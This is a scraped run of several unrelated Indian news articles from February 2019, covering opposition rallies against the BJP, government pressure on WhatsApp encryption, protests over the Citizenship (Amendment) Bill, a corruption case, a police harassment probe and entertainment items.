AHMEDABAD: Former JNU Students' Union president Kanhaiya Kumar Wednesday alleged that Prime Minister Narendra Modi was spreading lies in order to once again assume the top post after the Lok Sabha polls.

Kumar, who is facing sedition charges for allegedly raising anti-India slogans on the JNU campus in February 2016, said it was his right to question the BJP government over its "failure" to provide jobs or strengthening education and health sector.

"To become the PM again, he (Modi) is spreading lies one after another. His act is tarnishing Gujarat's image. Modiji you have to tell us what you have done during your tenure. You cannot stop me from seeking answers," he said while addressing a rally in Rajkot city.

ALSO READ: Delhi court gives police time till February 28 for sanctions to prosecute Kanhaiya Kumar in 2016 sedition case

Along with Kumar, independent MLA in Gujarat and Dalit leader Jignesh Mevani and Patidar leader Hardik Patel were also present in Rajkot to address 'Save Constitution Save Nation Rally', organised by former Congress MLA Indranil Rajyaguru.

Accusing the BJP of indulging in polarisation ahead of general elections, Kumar urged people to understand the party's "tactics" and remain united.

"A government is elected to create employment, construct schools and hospitals. It is my right to question the government. But when I seek answers, I am given threats. But I am not afraid of anyone," Kumar said.

Seeking to come clean on the charges levelled against him, Kumar said he never raised any anti-India slogans at the JNU.

ALSO READ: Don't take political mileage from Kanhaiya case: Sena to BJP

"I have never raised any anti-India slogans. We all want 'azadi' (freedom) from our miseries. Our fight is all about abolishing discrimination and bringing equality as envisaged in our Constitution. But today, attempts are being made to destroy the very core of our Constitution," he said.

In his address, Mevani attacked the BJP saying the ruling party was stressing the Ram temple issue to divert people's attention from key issues, such as unemployment.

"People who had promised to give two crore jobs every year are now talking about Ram temple and Kumbh as elections are approaching. People did not vote them to power to build temples and mosques. People gave them votes for jobs and better education facilities," Mevani said.

Referring to the Statue of Unity, he said people want the government to build hospitals for the poor, not statues dedicated to Sardar Patel or Dr B R Ambedkar.

He added that 60 crore youths of this country have decided to uproot the BJP in the Lok Sabha elections.

On the 10 per cent EWS quota approved by the Modi government, Hardik Patel, another vocal critic of the BJP, claimed that he was presented in bad light for demanding the same for the un-reserved classes.

"I was even labelled as a Congress pawn. I was accused of doing divisive politics. And now, when the BJP government itself approved such quota, people are saying it was a masterstroke by Modiji," he said.

In a stern warning, Hardik said even if he is imprisoned for the sedition charges, he will take "revenge" when his time comes.

Ahead of the rally, the trio also addressed a press conference in Rajkot.

At the press meet, Kanhaiya Kumar said the BJP government is scared of them ever since they have started organising such rallies aimed at saving Constitution.

He said though he belong to a humble family, he has been labelled as anti-national.

"I challenge Modi to send me behind bars if I have committed a crime. He cannot, because the Constitution still prevails in our country," Kumar told reporters.

During the press meet, Hardik, who is also facing sedition charges, said he and Kumar are innocent till the court convicts them.

The Patidar leader claimed that though he has made up is mind to contest the Lok Sabha polls, he was yet to decide on the seat.By Bloomberg

Indias government dealt retail giants Amazon.com and Walmart a devastating blow this year with new policies undermining their growth plans. Now U.S. social media pioneers Facebook and Twitter are in danger of suffering similar setbacks in what is perhaps the worlds most important emerging technology market.

In the latest skirmish, the government is targeting Facebook Inc.s WhatsApp, the popular messaging service increasingly important to its parents bottom line. Frustrated that the service has been used to incite violence and spread pornography, the government is pressing WhatsApp to allow more official oversight of online discussions, even if that means giving officials access to protected, or encrypted, messages. Facebook has refused, risking punitive measures or even the possibility of a shutdown in its biggest market.

For six months, weve been telling them to bring more accountability to their platform but what have they done? said Gopalakrishnan S., a senior official in the Ministry of Electronics and Information Technology known as MEITY. So pedophiles can go about on WhatsApp fully secure that they wont get caught. It is absolutely evil.

ALSO READ: Fake news six times faster than truth, says Hyderabad based Digitalee's Fake-O-Meter

WhatsApp spokesman Carl Woog said the governments demands run counter to the companys privacy policies and compliance would mean ending the services privacy protections.

What is contemplated by the rules is not possible today given the end-to-end encryption that we provide and it would require us to re-architect WhatsApp, leading us to a different product, one that would not be fundamentally private, said Woog in a roundtable last week.

Still, he said WhatsApp has a zero-tolerance policy around child sexual abuse, and that about 250,000 accounts are banned each month for sharing vile content. "We ban users from WhatsApp if we become aware they are sharing content that exploits or endangers children," he said.

Facebooks strategy will only become more reliant on encryption. The company recently said it would be adding default encryption to users chats on Messenger and Instagram in the next year or so. With end-to-end encryption, not even Facebook can see what its users are saying to each other, meaning it has no way to police the content.

India is the next great emerging market for technology companies. Its online population, just 71 million people a decade ago, is already 480 million and is projected to grow to 737 million by 2022, according to Forrester Research Inc. That has led to heavy investment by American technology leaders, from Amazon to Facebook, Twitter and Microsoft. Yet the latest episode shows that Indias government is charting its own, at times unpredictable, path in regulating the market.

ALSO READ | When the internet cost people their privacy and even their lives

Twitter also faces a potential crackdown for allegedly discriminating against right-wing groups, including the ruling Bharatiya Janata Party. A parliamentary committee has summoned Twitter Chief Executive Officer Jack Dorsey to appear Feb. 25 to answer questions on the issue. The government also announced in parliament that it had directed Google and Microsoft to share their software tools to help track down and remove images of child exploitation.

For WhatsApp, this is the latest chapter in a trouble-ridden expansion in India. Last year, rumors and fake videos spread on its network were linked to about two dozen lynchings and the government hasnt been satisfied by the companys efforts to contain the damage, such as limiting the number of times a message can be forwarded. Officials want more access to WhatsApp messages themselves so they can hold people accountable.

If telecom companies like Airtel, Jio and BSNL are mandated to maintain call records, why should WhatsApp get a different rule? Gopalakrishnan said in a telephone interview, referring to Indias wireless operators. We dont care about the good morning and divorce messages that are shared, we only want traceability to prevent or detect crimes.

His ministry is meanwhile drafting what are called the Intermediary Guidelines, which would make online platforms like WhatsApp responsible for the content their users share. Such regulations would also affect Facebook, Twitter and popular Chinese apps such as Bytedance Ltd.s TikTok. A draft published on the MEITY website suggests holding such services responsible for a broad range of content, including information found to be blasphemous, defamatory, obscene, pornographic, paedophilic, libellous, invasive of anothers privacy, hateful, or racially, ethnically objectionable, disparaging, relating or encouraging money laundering or gambling, or otherwise unlawful in any manner whatever.

ALSO READ: Centre directs WhatsApp to come out with effective solutions against spread of fake news

If the draft rules come into force, WhatsApp and others will have to make messages traceable, remove objectionable content within 24 hours, and cooperate with government agencies investigating offences.

WhatsApp hasnt agreed to break its encryption in any market, but its under increasing pressure from governments to censor content and provide details of private communications. In Australia, for instance, legislation would allow the government to ask technology companies to access encrypted communication including photographs and messages in the interest of national security, law enforcement or even road safety.

In response to Indias draft rules, the ministry has so far received over 600 pages of commentary, including from the companies themselves. The deadline for comments ends later this week. The government could choose to finalize and enforce the new rules within weeks.

Gopalakrishnan said WhatsApp executives had been dilly-dallying for months and the government needs to see faster progress. This is thoroughly disappointing, he said.By PTI

NEW DELHI: West Bengal Chief Minister Mamata Banerjee on Wednesday said that while the Congress and the Trinamool Congress will contest against each other in the state, they will fight together at the national level against the BJP.

The statement comes hours after Banerjee, upset with Congress leader Adhir Ranjan Chowdhury's attack on her over the Saradha chit fund case in the Lok Sabha, registered her displeasure with UPA chairperson Sonia Gandhi in Parliament.

Sources said Gandhi, while trying to placate her, said, "We are accusing each other but we are friends," to which the TMC chief responded: "I will remember."

ALSO READ: Everyone is afraid of the two Gabbar Singhs, Shah and Modi, says Mamata

"Any fight with the Congress will remain in the state. At the national level, we will fight together, this I am saying from the heart... For the greater interest of the country, I am ready to sacrifice my life, my party. I am ready to sacrifice everything," she said at the Aam Aadmi Party (AAP) protest at Jantar Mantar which was attended by several opposition leaders.

Banerjee, who is in Delhi till Thursday, also met RJD's Misa Bharti, Bahujan Samaj Party's (BSP) Satish Mishra, SP's Jaya Bachchan and Dimple Yadav in her room in Parliament in the morning.

Addressing the protest, Banerjee appealed to all opposition parties to play to their strengths and not cut into each others' votes. She also asked them to ensure that they get all the seats in the states they are strong in.

"Whichever party is strong should work there, fight there against the BJP, in Delhi, it's AAP, in UP, it is BSP, SP, in Kashmir, there is Farooq Abdullah...for higher good, some sacrifices are needed...If we want, we can fight in many more seats, but we never do this for the higher good," she said.

In an apparent dig at the Congress whose state unit is fighting tooth and nail against the TMC, Banerjee said while the Rahul Gandhi-led party is strong in the three heartland states, they should not cut into her party's votes in West Bengal.

ALSO READ: PM Narendra Modi, BJP chief Amit Shah pooh-pooh attempts by Opposition to forge a 'grand alliance'

"We tell the Congress, if you are strong in Chhattisgarh, Madhya Pradesh and Rajasthan, you should fight there. But where we are strong, don't let the BJP win. I am used to fighting the BJP, CPM and the Congress because in Bengal, these three parties fight together. Even if we make an understanding, they don't transfer votes. I am used to this. I am not scared. How much ever they fight, I will get 42 out of 42," she asserted.

The TMC chief also attacked the Centre over the CBI's failed bid to question Kolkata Police Commissioner Rajeev Kumar at his home, saying she has never seen a government that "stooped so low".

"It is the prime minister's last day as elected leader in Parliament today," she said after the Lok Sabha adjourned sine die.

"Everyone is afraid of Gabbar Singh. There are two of them -- (Prime Minister Narendra) Modi and (BJP chief Amit) Shah," she claimed.

She said that the PM's speech in Parliament was "his last" in the House as a people's representative and that his government has reached its "expiry date".

ALSO READ: PM Modi has rock-solid support for Lok Sabha polls 2019, but who is Opposition alliance leader? asks Amit Shah

Calling out the government for erecting statues and spending money on building its party office, Banerjee said that they did not respect the great leaders of the country and remembered them only during elections.

"They remember these people only during elections. They only want to make statues," she said.

Asserting that regional parties are not weak, she appealed to all these parties to mobilise their workers so that the anti-BJP front gets stronger.

"Regional parties are not weak, my party, Sharad Yadav's party, Farooq Abdullah's party and the others are all recognised parties. It's just that the BJP has a lot of money. How much money is spent on one meeting of Modi? They give bike, cars, thousands of rupees...They have made a party office in Delhi which is no less than a shopping mall," Banerjee said.

She alleged that ministers of this government had called her to stop her from talking against the PM which she rebuffed.

"Can't I even talk?...send the CBI to my house, let me now and I will make lunch for them, whatever they want, be it vegetarian or non-vegetarian...

"I am not scared. Shrouds wait for me, I don't wait for shrouds (kafan humara intezar karta hai, hum kafan ke liye nahi). This is my fight," she said.

Stating that the situation in India was more dangerous than the days during the emergency, Banerjee said democracy has become 'Namocracy'.

ALSO READ: Chandrababu Naidu's fast becomes centre-stage for show of opposition unity

"It is easy to see dreams but you should know how to dream. Modiji, you don't know how to dream, you know how to break the country. I know how to join the country...we will all fight together," she said.

A host of opposition leaders, including West Bengal Chief Minister Mamata Banerjee, TDP chief N Chandrababu Naidu, National Conference's Farooq Abdullah, Nationalist Congress Party's Sharad Pawar and CPI(M)'s Sitaram Yechury also spoke during the rally.Prasanta Mazumdar By

Express News Service

GUWAHATI: The Northeast, particularly Assam, erupted in joys after the Centre had failed to table the controversial Citizenship (Amendment) Bill, 2016 (CAB) in the Rajya Sabha on Wednesday.

People in various parts of Assam took to the streets, danced and sang Bihu and patriotic songs and burst firecrackers to celebrate the day. They all agreed that it was due to mass protests that BJP-led Central government did not dare table the bill.

READ: Citizenship amendment bill, triple talaq bill set to lapse on June 3

Credit goes to the people of Assam and the Northeast. The Northeast saved democracy in the country, said Akhil Gogoi, an RTI activist and leader of peasants body Krishak Mukti Sangram Samitee (KMSS).

They (BJP) were not adhering to Indias secular fabrics. We thank the Chief Ministers of Meghalaya, Mizoram, Nagaland and Arunachal Pradesh for their bold decision to oppose the bill. We thank all groups and organisations which cooperated with us during the protests, Gogoi added. The KMSS had spearheaded the anti-CAB protests in Assam.

Backlash in North-East makes Centre mull dropping Citizenship Bill

Opposition Congress in the state celebrated the victory of people by distributing sweets among its party workers.

We had been continuously protesting against the bill. Even today, if the bill had been tabled in the Rajya Sabha, we would have registered our protests, state Congress chief and Rajya Sabha member Ripun Bora said.

Congress stalwart and three-time former CM Tarun Gogoi alleged Assam CM Sarbananda Sonowal and Minister Himanta Biswa Sarma had wanted to destroy the state by endorsing the bill. They failed as the people of the Northeast showed their guts, Gogoi said.

The Asom Gana Parishad (AGP), which had severed its ties with the BJP and pulled out its support to the Sonowal government after the bill was introduced in the Lok Sabha recently, expressed gratitude to all those who had put up a fight to thwart the bills passage in Parliament.

I feel they (BJP) will not try to impose the bill on us later. If they do that, the Northeast will burn more, AGP president Atul Bora warned. AGP leader Manoj Saikia said as the bill had been virtually shelved, the party would discuss on forging alliance with the BJP again.

READ| Bhupen Hazarika's son tunes into unrest on Citizenship Bill, ties it to his Bharat Ratna

Two BJP CMs must be feeling greatly relieved. One of them is Manipur CM N Biren Singh whose state was witnessing widespread protests against the bill.

I sincerely appreciate and congratulate the people of Manipur and NE in general for winning on CAB. The efforts of students, meira paibis (womens groups), NGOs and different political parties of the state were remarkable. Because of your genuine demands, Central government has reviewed CAB, Singh tweeted.

ALSO READ: Amidst protests, PM Modi defends Citizenship Bill, says will not harm interests of North East people

He expressed his gratitude to Prime Minister Narendra Modi and BJP president Amit Shah for not tabling the bill and opting for consensus-driven approach.

Amidst the euphoria, Himanta Biswa Sarma said it would be a defeat for Assam if the bill does not get passed in the future.

We will try to table it in the Rajya Sabha as and when we have the numbers there. I believe it will be Assams defeat if the bill does not get passed at all. By 2021, Bangladeshi Muslims will be in a majority in 17 of Assams 33 districts. We brought the bill to thwart it. The bill is our commitment and it will remain so when we fight the Lok Sabha elections, he asserted.

READ: Mass prayer in Mizoram churches to oppose Citizenship Bill

Assam BJP MLA Shiladitya Deb, who had courted controversies with his alleged bizarre comments in favour of the bill, said it was not a victory of any organisation or political party that the bill could not be tabled.

We didnt table it in the Rajya Sabha as we did not have the numbers to get it passed. We tabled and passed it in the Lok Sabha because we had the numbers there, he said.

Among the CMs in the Northeast, Meghalaya's conrad Sangma was vehemently opposed the bill. He had threatened that his National People's Party would sever its ties with the BJP if the bill is passed.

On Wednesday, he said it was a great and emotional moment for the people of the Northeast.

"Today, the sentiments of the people, particularly of the Northeast, have prevailed. I thank all NGOs, student bodies, civil societies, media houses etc which played a critical role in ensuring that the voices of people reach different leaderships. I also thank all political parties which stood with us in opposing the bill. We all were concerned that this bill must not go through," he told reporters.Prasanta Mazumdar By

Express News Service

GUWAHATI: An indefinite curfew was imposed in Imphal on Tuesday and mobile internet services suspended till February 16 across Manipur in view of the continued protests against the Citizenship (Amendment) Bill, officials said. The state capital straddles Imphal East and Imphal West districts.

While roads were deserted in both the districts, police personnel were seen informing people through louspeakers about imposition of the curfew and asking them to stay indoors. Security forces have also set up barricades on major roads. Markets, schools, colleges and offices were closed.

According to reports, security has been tightened at the residences of MLAs, ministers and Chief Minister N Biren Singh. The CM had met Union Home Minister Rajnath Singh in New Delhi on Monday and apprised him of the situation in the state.

Imphal has remained on the boil for the past few weeks in the wake of protests against Citizenship (Amendment) Bill, 2016 (CAB) which the Centre wants to pass in Parliament to grant Indian citizenship to immigrants belonging to six persecuted non-Muslim communities from Bangladesh, Pakistan and Afghanistan who migrated to India till December 31, 2014.

The controversial Bill, which was earlier passed in the Lok Sabha, is likely to be tabled in Rajya Sabha on Wednesday.

Assam is the epicenter of the anti-CAB protests which are also being staged in neighbouring Nagaland, Mizoram, Tripura, Arunachal Pradesh besides Manipur.

On Sunday, several organisations had jointly called a two-day strike in Imphal demanding the Bills withdrawal. At least eight people, including six women vendors, were injured when the police used force to disperse irate protestors on that day.By Express News Service

NEW DELHI: The controversial Citizenship Amendment Bill, 2019 and the Triple Talaq Bill are set to lapse on June 3 when the term of this Lok Sabha comes to end, as the Rajya Sabha was adjourned sine die without taking up two key Bills pushed by the government in Lok Sabha despite protest by the opposition parties.

The government had listed both the Bills for introduction and passing in the Upper House but could not be taken up as the house saw repeated adjournments following protests by members over various issues.

As per the Legislative Functions of Rajya Sabha, After the dissolution of Lok Sabha, all Bills except the Bills introduced in the Rajya Sabha and pending therein, lapse. Both the Bills will lapse as they were not introduced in the House.

ALSO READ: Curfew continues in Imphal amid stir over Citizenship Bill

The Citizenship Amendment Bill, 2019, which saw massive protests in the northeast states and opposition from even BJP allies, was passed in Lok Sabha during the winter session. It seeks to facilitate acquisition of citizenship by six identified minority communities namely Hindus, Sikhs, Jains, Buddhists, Christians and Parsis from Afghanistan, Pakistan and Bangladesh who came to India before December 31, 2014.

ALSO READ: Congress will scrap triple talaq law when it comes to power: Sushmita Dev

The Muslim Women (Protection of Rights on Marriage) Bill, 2018 was passed in Lok Sabha in December 2018. The government, on September 19, 2018, had brought an ordinance on this and president re-promulgated it in January this year. The Bill makes instant triple talaq void and illegal, making it a punishable offence with imprisonment of three years. The opposition has raised objections to the imprisonment clause and sought its revision.

Amid protests from the Oppisition, the interim budget and motion of thanks to President Ram Nath Kovinds joint address was passed without discussion in the Upper House.By PTI

NEW DELHI: Congress leader Sonia Gandhi on Wednesday alleged that "bluff, bluster and intimidation" have been Modi government's philosophy and hailed party president Rahul Gandhi for taking opponents "head-on".

Addressing the Congress Parliamentary Party's general body meeting, Sonia Gandhi also praised her son for bringing in fresh energy and putting together a team which blends experience and youth.

In a blistering attack on the Centre, Sonia Gandhi alleged that there is an "all-pervasive atmosphere of fear and strife" across the country.

"We go to the forthcoming Lok Sabha polls with renewed confidence and resolve. Our victories in Rajasthan, Chhattisgarh and Madhya Pradesh have given us new hope," she said at the meeting attended by Rahul Gandhi, former prime minister Manmohan Singh, Congress' leader in Lok Sabha Mallikarjun Kharge and Leader of Opposition in the Rajya Sabha Ghulam Nabi Azad among others.

"Our opponents were earlier projected as being invincible. The Congress president took them head-on, mobilising and motivating lakhs of our workers who, with him, gave their all. We won in what were believed to be their strongholds," she said.

Slamming the Modi dispensation, the Congress Parliamentary Party leader said the foundations of "our democratic and secular republic" have come under "systematic assault" by the government.

The very values, principles and provisions of the Constitution have been under continued attack from the Modi government, she alleged.

"Institutions have been subverted. Political opponents have been hounded. Dissent has been suppressed. Freedom of speech -- the most basic of all freedoms -- has been sought to be curtailed and silenced," the UPA chairperson said.

"Bluff, bluster and intimidation have been the governance philosophy of the Modi government.

Truth and transparency have been brazenly tossed aside," Sonia Gandhi alleged.

The last five years have been a time of unprecedented economic stress and social strain for the country, the former Congress president said.

"The northeast is burning. Alienation in Jammu and Kashmir has scaled new heights. Dalits, adivasis and minorities are being targeted. Farmers are facing unprecedented distress. The youth is staring at the abyss of despair with jobs being destroyed on a scale that has never happened before," she said, lashing out at the Modi government's policies.

Sonia Gandhi also praised the Congress president for his leadership after taking over the reins of the party in December 2017.

"He (Rahul Gandhi) has worked tirelessly. He has also reached out to other political parties who share our vision of India, who share our agenda for faster economic growth with full social justice, who share our agenda for the welfare of kisans and khet-mazdoors, women and youth, workers in the organised and unorganised sector," the UPA chairperson said.

Rahul Gandhi, in a Facebook post, said the Congress Parliamentary Party met at Parliament House where some key political issues before the country were discussed.

"As we come to the end of the term of this Parliament, I'm grateful for the support and affection I've received from my Congress brothers and sisters in Parliament and thank them for their incredible hard work and dedication," he said.

Sonia Gandhi, in her remarks at the meeting, said the people of the country were wise and know that "jumlabaazi" (rhetoric) is no substitute for sensitive and responsive governance.

The people know that "imagery, stage management and marketing gimmicks" can be no substitute for responsible and accountable governance, she said.

They have seen through and experienced the results of the many lies told to them, she said.

"Our political adversaries have unlimited resources at their command. They will have no scruples and will stoop to anything to ensure that our forward march is halted. We will not allow them to succeed. We will confront them, we will fight them with all the vigour at our command and more," Sonia Gandhi said.

She also claimed that Parliament has been "immeasurably weakened" and debate and discussion muzzled.

"The institution of Standing Committees has all but disappeared. The route of the Money Bill, described by one Supreme Court judge as a 'fraud on the Constitution', has been resorted to ever so often to escape legitimate scrutiny in both Houses," the Congress leader alleged.

There is now "near-universal recognition" that the mandate of 2014 has been betrayed, she claimed.

"That mandate itself was obtained by deceit and dishonesty, by misleading the people. It was inevitable that it would be found out and exposed sooner or later. That is exactly what has happened," she said.

Sonia Gandhi also thanked the party's MPs for persevering despite "trying times" and democratic space being "denied" to them.

"I have derived strength and succour from the goodwill, understanding and the commitment of each and every one of you. It is you, it is our great party, it is our precious legacy that has sustained me and that will continue to inspire me," she said.Anand ST Das By

Express News Service

PATNA: The violent protests staged by trainee women police constables at New Police Lines in Patna in November last were sparked not just because of a young constables death but due to the accumulated anger among the women constables against harassment by their male officer in charge, an NGO has found after a probe.

The trainee women constables had been facing the systematic brunt of deep-rooted anti-women bias in the police force in Bihar and even harassment of a distinctly sexual nature by a DSP who was their officer in charge and his bodyguard, said social activist Kanchan Bala of the Citizens Initiative against Violence against Women (CIVW) to this newspaper.

A six-member CIVW team probed the violent rampage and pitched battle on the streets hundreds of trainee police constables engaged in on November 2 last year. While it was believed at the time that they were angry because a 21-year-old newly recruited woman constable had died of dengue that day, CIVWs probe found that constantly insensitive and indecent behaviour by DSP Maslehuddin Ahmad and his bodyguard Umesh Kumar.

Ahmed, Kumar and sergeant-major Ashish Kumar were injured when hundreds of trainee police constables, most of them women and recruited barely two months ago, staged a veritable revolt against the police brass and attacked senior officials. They also ransacked official residences of the officials and damaged some 20 police vehicles in a televised protest lasting for nearly two hours.

When the women constables sought special leave, the DSP used to insist on an inquiry to know of the health reasons behind the leaves sought and was also asking the women to submit video proofs In other words, the male officer in charge was asking the women constables to show him their nude photographs, said the NGOs report, which was based on conversations with at least 50 women constables.

All women employees in government service are allowed special leave of four days in a month for reasons of menstruation, said Kanchan Bala. As per the rules specified in this regard, the controlling authority has no right to demand the reasons for any woman employee seeking special leave, she added.

As many as 164 trainee women constables were among 175 cops dismissed from service following the rampage. But CIVWs study found that a three-member team of senior police officials that conducted the probe did not speak to any of the women constables involved during the probe.

The trainee women constables should be immediately reinstated in their jobs and a criminal case should be registered against the DSP and others who had been harassing them, said Kanchan Bala.The Embassy of India in Cairo has launched a one-month 'New India Campaign' on public transport buses in Egypt's capital city.

As part of the campaign, five buses from the Cairo Public Transport Authority are showcasing flagship schemes by the government of India including Make in India, Digital India, Skill India, Startup India, Smart Cities Mission, Study in India and the Incredible India.

The buses will be seen in Old Cairo, downtown, Ramses Square, Tahrir Square and the Nile Corniche.

Besides the flagship schemes, the New India Campaign will create awareness about investment opportunities in India and promote tourism to the country.

Short link:

By PTI

MUMBAI: The Shiv Sena on Wednesday said its leader Sanjay Raut's visit to Andhra Pradesh Chief Minister N Chandrababu Naidu during his fast in Delhi was merely a courtesy call and criticised the BJP over the handling of its allies.

The Uddhav Thackeray-led party also said what was the guarantee that the BJP will not reach out to its former ally, the Naidu-led TDP, in case it falls short of numbers to form a government after the Lok Sabha elections.

Senior Sena leader and Rajya Sabha member Sanjay Raut had on Monday made a surprise appearance at Naidu's day-long protest over demand for special status for his state, saying he came to attend the event as a representative of his party, which shares strained relations with senior ally BJP.

Justifying Raut's meeting with Naidu, the Sena, in an editorial in party mouthpiece 'Saamana', said the leader visited Andhra Pradesh chief minister as a "courtesy" because his state has been split into two.

"We are also against splitting of states. But our visit has been seen as if the sky has fallen upon the government," it said.

"What is the guarantee that if required, senior BJP leaders will not knock at the doors of Naidu for his support to form a government after the Lok Sabha polls?" it asked. Naidu was a "great leader" till the time he was with the NDA and now he is suddenly "untouchable", it quipped.

Recalling BJP's alliance with PDP in Jammu and Kashmir, it said the Mehbooba Mufti-led party's Rajya Sabha member Fayaz Ahmad Mir has demanded return of mortal remains of Parliament attack convict Afzal Guru and Maqbool Bhat, founder of the separatist J&K Liberation Front (JKLF).

Both were buried at the Tihar jail in Delhi. Bhat was hanged in Tihar on February 11, 1984, following his conviction in the killing of an intelligence official while Guru was hanged on February 9, 2013.

"This demand is preposterous. But it is the same PDP with which the BJP had shared power in Jammu and Kashmir. During that time, the state saw maximum bloodshed, several attacks took place and some were even rewarded despite having terror links," the Sena claimed.

Nobody had any issue then, but the Sena paying a courtesy visit to the TDP is severely criticised, the Marathi daily said without naming anyone.

"We understand the difference between the PDP and the TDP better," it said.

The Sena, which is an ally of the BJP at the Centre and in Maharashtra, claimed the activities of Mehbooba Mufti's party are "pro-Pakistan" and demanded that it be considered as "anti-national".

"Though the Sena has taken a radical stance on Hindutva, we do not consider those as enemies who have a different view than ours. But, AIMIM spewing out venom is an anti-national activity," it opined.By PTI

NEW DELHI: A Delhi court on Wednesday said it will hear the bail plea of Rajeev Saxena, arrested in the Rs 3,600-crore AgustaWestland money-laundering case, on Thursday.

Special Judge Arvind Kumar, who sent Saxena to jail till February 18, said he will hear the matter after perusing Saxena's medical report, which was yet to be submitted by AIIMS.

Saxena has sought bail on medical grounds and told the court that he suffers from a "heart disease" and "advanced-stage leukaemia".

On Wednesday, media reports claimed that the Enforcement Directorate (ED) is likely to make Saxena an approver in the above case.

Saxena, who got extradited from Dubai, has the information about the bribes paid to Indian counterparts, including politicians, IAF officials, bureaucrats, as well as the shell company which was made to route the bribe money in the VVIP chopper deal, reported India Today TV.

ALSO READ: VVIP Chopper case: Court reserves order on bail plea of Christian Michel for February 16

ED is also confident of Saxena revealing significant details on the roles of other two accused Christian Michel and Gautam Khaitan in the whole deal. The probe agency is currently in talks with Saxena to turn into a witness.

According to ED, three of Saxena's companies--Intersellar Technologies (Mauritius), UHY Saxena (Dubai) and Matrix Holding (Dubai) received kickbacks from Gordian Sarl (Tunisia) and IDS Technologies (Tunisia), firms set up by Khaitan.

Middlemen Carlo Gerosa and Guido Haschke were directors in this firm.By Online Desk

If youre sitting at a Starbucks and trying to figure out the best way to get maximum caffeine into your system, ditch the regular Venti hot drinks and opt for the Venti iced latte instead. Yes, you heard it right. An iced drink has more caffeine than regular drinks on their menu. Dont believe us? This is what Kayla Blanton, an ex-Starbucks Barista, told Business Insider!

Every tall hot drink at Starbucks has one shot of espresso and every Grande drink (16 oz) has two shots of it. So it is only natural to believe that every Venti (20 oz) has three espresso shots.

Now, this is the very point where Starbucks looks back and smirks at us in an evil manner since it has been fooling all of us for years.

According to Blanton, a regular hot drink of Venti size has the same amount of caffeine that a Grande sized hot drink has. Both have two espresso shots or a total of 150 milligrams of coffee each. The rest is just syrup and milk. You can demand extra whipped cream and flavour if you wish, but the caffeine content cannot be changed.

Heartbroken, are you?

This is where Venti iced lattes (24 oz) come to the rescue as they have 3 shots of espresso.

They also top our list of favourites when we think about more syrup in the drink. A Venti hot drink contains five pumps of syrup but a Venti iced latte contains six pumps. In case you were wondering, each pump is equal to one fluid ounce.

There you go, youre welcome! Now if you still dont feel the caffeine rush in your Venti hot drink, dont tell us we didnt warn you!By IANS

HYDERABAD: Cheating and harassment by her boyfriend led to the suicide of Telugu television actress S. Naga Jhansi, Hyderabad police said.

Surya Teja was arrested for abetting the suicide and produced in a city court, which sent him to judicial custody for two weeks.

Jhansi, 21, who acted in TV serial "Pavitra Bandhan", was found hanging from a ceiling fan in her flat in Srinagar Colony on February 5.

Assistant Commissioner of Police (Panjagutta) Vijay Kumar said the youth was arrested after Jhansi's family members lodged a complaint, holding him responsible for the suicide.

The police investigations revealed that Teja had been pressurising her to quit acting. He also used to suspect her and had started ignoring her, which led to the actress going into depression.

Teja, who runs a mobile phone shop in Vijayawada, had come in contact with Jhansi in April last year. Soon their friendship developed into love. Jhansi had informed her parents in July that she wants to marry him. She had also reportedly stayed in Teja's house for a week.

READ | Hours before taking her life, Telugu TV actress Naga Jhansi made at least 20 calls to reach out to boyfriend

In November, Jhansi gifted a motorcycle to Teja on his birthday. Last month, Teja went to Jhansi's house and told her parents that he will marry her only if she quits acting. Jhansi accepted the condition and was since then running a beauty parlour.

But Teja still continued suspecting her and used to pull her up for talking to her friends. For the last few days he had started ignoring her and was not even taking her calls.

The police probe also revealed that for five days before committing suicide, Jhansi was alone in the house and was depressed. She was shocked to learn that Teja was looking for another girl to marry.

The accused denied cheating on Jhansi and said he would talk to his parents about the wedding after the marriage of his sister.Express News Service

Rakul Preet looks quite different from what she was like in 2017s Theeran Adhigaaram Ondru, which saw her pair up with Karthi for the first time. She admits to having reduced weight for her role in Ajay Devgns upcoming film, De De Pyaar De. The look came in quite handy for Dev and youll see why when you see the film, she teases.

Dev, she says, is completely different from Theeran. There, Priya was from a lower middle-class small family and quite grounded, but here, shes a headstrong opinionated girl who has already made a name for herself. She is a multimillionaire and has worked hard to get there, says Rakul, who confesses to having found her character, Meghna, quite unreasonable. On the other hand, Karthis character loves adventure. So, it is a story about two very different characters. I enjoyed this film because of its layered characters. While Meghna is largely different from who she is, Rakul says she did find some common ground. Both of us are workaholics, she says. But there were times when I wanted to slap her for how she annoys the hero (laughs).

Interestingly, she related more to the adventurous streak in Karthis character, being a self-confessed adventure freak. I did skydiving in Dubai recently and will never forget those 50 seconds for the rest of my life, she says. Her parents were quite nervous, and so, she didnt tell them she was planning to do it. They were shocked to see the video in our family WhatsApp group, and my father has since shown interest in trying it out, she says.

Shes working with a debutant director  Rajath Ravishankar  after a long time in this film. All the established directors I have worked with were debutants once. Somebody has to trust them. I got to know about this film through Karthi while we were waiting for the release of Theeran. Karthi told me its a beautiful love story and that the director sees me as the female lead, she says, and shares that she liked the story immediately when it was narrated. There was so much I could do with it as a performer. Moreover, in such scripts, a female lead doesnt just simply exist in the story; she travels along. Rajath showed great passion in executing this project. Im sure there is quite a bit of his own life in it (smiles).

Though Devs a love story, and is being released on Valentines Day, Rakuls never been one to make a big deal of the day. I dont really celebrate it. Its a Western idea, and my parents never took to it, she says. I think each day of the year should be celebrated by showing love to our friends and family. The current trend seems to be to commercialise such days by shopping and buying material possessions. Nevertheless, she will be looking forward to this Valentines Day on account of the films release. My parents will be travelling to Hyderabad to watch the film with me. Its the first time we will be watching my film together, she says.

Rakul denies that shes focussing more on Tamil cinema, given that shes getting back-to-back releases. When I signed Dev and NGK, the announcements came back to back. I have simply been on the look out for good scripts, and just want to do good roles irrespective of whether they are in Tamil, Telugu or Hindi, she says. Telugu cinema, however, hasnt taken kindly to this break, with rumours floating about her absence. There were times when I had as many as five Telugu releases in a year. Its just that my commitments in other languages have kept me busy, she says.

On the Ajay Devgn film, she says that its not hard for a South Indian actor to make a mark in Hindi cinema. We have had examples such as Sridevi ji. Tabu and now, Taapsee have also shown it is possible. Sharing of talent and films has been happening for a long time, and now that all the industries are on the same ground, its a natural trend, she says. Its not just the women, of course. Nassar sir, for example, is playing an important role in my other Hindi film, Marjaavaan.

